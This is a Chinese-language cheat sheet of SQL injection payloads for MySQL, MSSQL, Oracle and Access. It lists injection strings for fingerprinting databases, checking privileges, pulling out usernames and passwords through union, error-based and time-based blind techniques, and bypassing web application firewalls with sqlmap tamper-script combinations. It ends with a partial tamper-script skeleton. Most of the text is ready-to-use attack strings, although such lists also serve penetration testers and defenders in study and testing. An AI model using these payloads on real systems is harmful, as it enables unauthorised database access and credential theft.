0x01

收集网络上各种 sql 注入时使用的 payload 并理解其适用的环境（检测注入、利用注入）

MySQL

- and ord(mid(version(),1,1))>51
    - 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0，当版本大于3.0时才能使用union方法；
    - ord()是mysql的函数用于获取二进制码；
    - mid()是mysql的函数用于截位操作；
- and ord(mid(user(),1,1))=144
    - 判断ROOT权限 返回正确说明为root权限
- and 1=2 union all select @@global.version_compile_os from mysql.user
    - 获取操作系统信息
- and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
    - 查看mysql基本信息
    - concat_ws(separator,str1,str2,...) 指定参数之间的分隔符并连接成一个字符串
    - concat(str1,str2,...) 函数用于将多个字符串按顺序连接成一个字符串
    - group_concat(column) 函数返回一个字符串结果，该结果由分组中的值连接组合而成
- Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
- 判断是否具有读写权限
    - and (select count(*) from mysql.user)>0/*
    - and (select count(file_priv) from mysql.user)>0/*
- union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
    - benchmark(count,expr) 重复执行执行给定次数的表达式
- and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    - floor(rand()*2)报错原理 https://www.cnblogs.com/xdans/p/5412468.html
- select case when username='admin' then 'aaa' else (sleep(3)) end from user;
    - 时间盲注配合select case when 条件触发 then 表达式
- select count(*) from information_schema.columns A , information_schema.columns B , information_schema.tables C;
    - 笛卡尔集延时

- 截取函数
  - substr(字符串，开始，长度)
  - substring(str，pos)，substring(str FROM pos)
  - substring(str，pos，len)，substring(str FROM pos FOR len)
- select * from user where password ='123456789';
  - select * from user where password rlike '^1';
  - select * from user where password rlike '^12';
  - select * from user where password regexp '^12';
- and 1=updatexml(1,concat(0x7e,(select database())),1)
  - UPDATEXML (XML_document, XPath_string, new_value);
  - 改变XML_document中符合XPATH_string的值
  - 中间值应为XPath格式的字符串
  - updatexml() 报错原理 https://www.jb51.net/article/125599.htm
- and 1=extractvalue(1,concat(0x7e,(select database())))
  - EXTRACTVALUE (XML_document, XPath_string);
  - extractvalue()：从目标XML中返回包含所查询值的字符串。
  - 原理和updatexml()一致
  - 原理详解：https://www.cnblogs.com/xishaonian/p/6250444.html

注意

手工注射时出现前后编码不一致，在参数前加上 unhex(hex(参数)) 注入流程(详细)：https://www.cnblogs.com/fengshui/p/9265713.html

Oracle

Oracle报错注入(,带外通信获取查询结果,时间盲注)：https://www.cnblogs.com/pshell/articles/7473713.html

Access

Access 数据库并没有提供太多内置函数，因此注入也很不方便，需要逐位进行判断猜解拼凑。

Access基础注入，偏移注入等高级注入：https://blog.csdn.net/eldn__/article/details/8211913

MSSQL

- 判断权限
  - And 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
  - And 1=(select is_member('db_owner')) //判断时候是库权限
  - And 1=(select has_dbaccess('master')) //判断是否有库读取权限
- 获取数据库(一次性获取全部数据库，只适合版本 >= 2005)
  - And 1=(select quotename(name) frm master..sysdatabases FOR XML PATH(''))--

  - And 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
  - quotename()的主要作用就是在存储过程中，给列名、表名等加个[]
  - Sql FOR XML PATH 将查询结果集以XML形式展现
  - 在PATH后面括号()中的参数可以改变行节点的内容

- 获取当前数据库中的表(下述语句限于版本mssql2005以上)

  - And 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
  - And 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

- http://www.xxx.com/?id=1;waitfor delay '0:0:5'

  - sqlserver 堆查询延时原理：https://blog.csdn.net/fox123871/article/details/8080321

- mssql注入流程：https://www.cnblogs.com/xishaonian/p/6173644.html

- 具详细mssql注入：https://www.cnblogs.com/vigarbuaa/p/3371500.html

- mssql注入总结：https://blog.51cto.com/maxvision/1691962

- mssql注入--利用xp_cmdshell：https://bbs.ichunqiu.com/thread-3221-1-1.html

0x02 sqlmap 常用注入

记录 sqlmap 的检测和利用过程中使用的 payload（也算一种 payload 收集方式） `sqlmap -u ".." -safe-freq=3`

更多tamper脚本功能：https://blog.csdn.net/qq_34444097/article/details/82717357 常用tamper脚本：https://blog.csdn.net/qq_36374896/article/details/83658305

一些常用的 tamper 组合

http://www.storysec.com/sqlmap-tamper-script-lists.html

- 通用的测试 tamper `tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes`
- Microsoft SQL Server `tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes`
- MySQL `tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor`

- Oracle
  `tamper=between,charencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes,xforwardedfor`
- Microsoft Access
  `tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords`
- PostgreSQL
  `tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,xforwardedfor`

0x03 tamper 脚本简单梳理

看过脚本源码之后对tamper脚本架构简单的猜解，tamper脚本最终执行tamper()函数，我们该函数对payload进行变形实现最终绕过waf，对该函数输入 payload，加工后返回 retVal 。

```
#!/usr/bin/env python2

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0
    Notes:
        * Useful to bypass weak and bespoke web application firewalls
    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """
    retVal = payload
    ................
            retVal += payload[i]
    return retVal
```